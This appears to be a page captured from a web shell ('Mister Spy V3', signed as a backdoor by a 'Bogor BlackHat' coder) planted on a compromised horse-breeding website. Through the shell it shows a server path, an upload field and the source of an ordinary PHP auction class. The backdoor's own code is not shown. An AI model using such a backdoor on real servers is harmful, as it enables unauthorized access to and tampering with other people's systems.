Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/library/
Upload File :
Current File : /home/caballoscriollos/www/espanol/library/class.remate.php

<?php

require_once('class.db.php');
require_once('class.dbaccess.php');

class Remate
{
	public $IdRemate;
	public $Nombre;
	public $Lugar;	
	public $Fecha;
	public $HoraInicio;
	public $IdRaza;
	public $IdPais;
	public $ImagenLogo;
	public $NombreCarpeta;
	public $Estado;
	
	public function __construct()
	{
		$this->IdRemate			= '';
		$this->Nombre			= '';
		$this->Lugar			= '';
		$this->Fecha			= '';
		$this->HoraInicio		= '';
		$this->IdRaza			= '';
		$this->IdPais			= '';
		$this->ImagenLogo		= '';
		$this->NombreCarpeta	= '';
		$this->Estado			= '';
	}
	
	
	public function ParseFromArray(array $arr)
	{
		$this->IdRemate			= $arr['IdRemate'];
		$this->Nombre			= stripslashes($arr['Nombre']);
		$this->Lugar			= stripslashes($arr['Lugar']);
		$this->Fecha			= CambiarFecha(stripslashes($arr['Fecha']));
		$this->HoraInicio		= stripslashes($arr['HoraInicio']);
		$this->IdRaza			= $arr['IdRaza'];
		$this->IdPais			= $arr['IdPais'];
		$this->ImagenLogo		= $arr['ImagenLogo'];
		$this->NombreCarpeta	= stripslashes($arr['NombreCarpeta']);
		$this->Estado			= $arr['Estado'];
	}
	
	
	public function DeleteOrganizadores()
	{
		$RemateOrganizadores = new RemateOrganizadores();
		
		if (!$RemateOrganizadores->DeleteFromRemate($this->IdRemate))
			return false;
			
		return true;
	}
	
	
	public function GetAllCabanias()
	{
		$RemateCabanias = new RemateCabanias();
		
		return $RemateCabanias->GetByIdRemate($this->IdRemate);		
	}
	
	
	public function GetAllLotes($oPage, array $filter = NULL)
	{
		$Lotes = new Lotes();
		
		if (!$filter)
		{
			$filter = array();
			$filter['IdRemate'] = $this->IdRemate;
		}
		
		return $Lotes->GetAll($filter, $oPage);
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat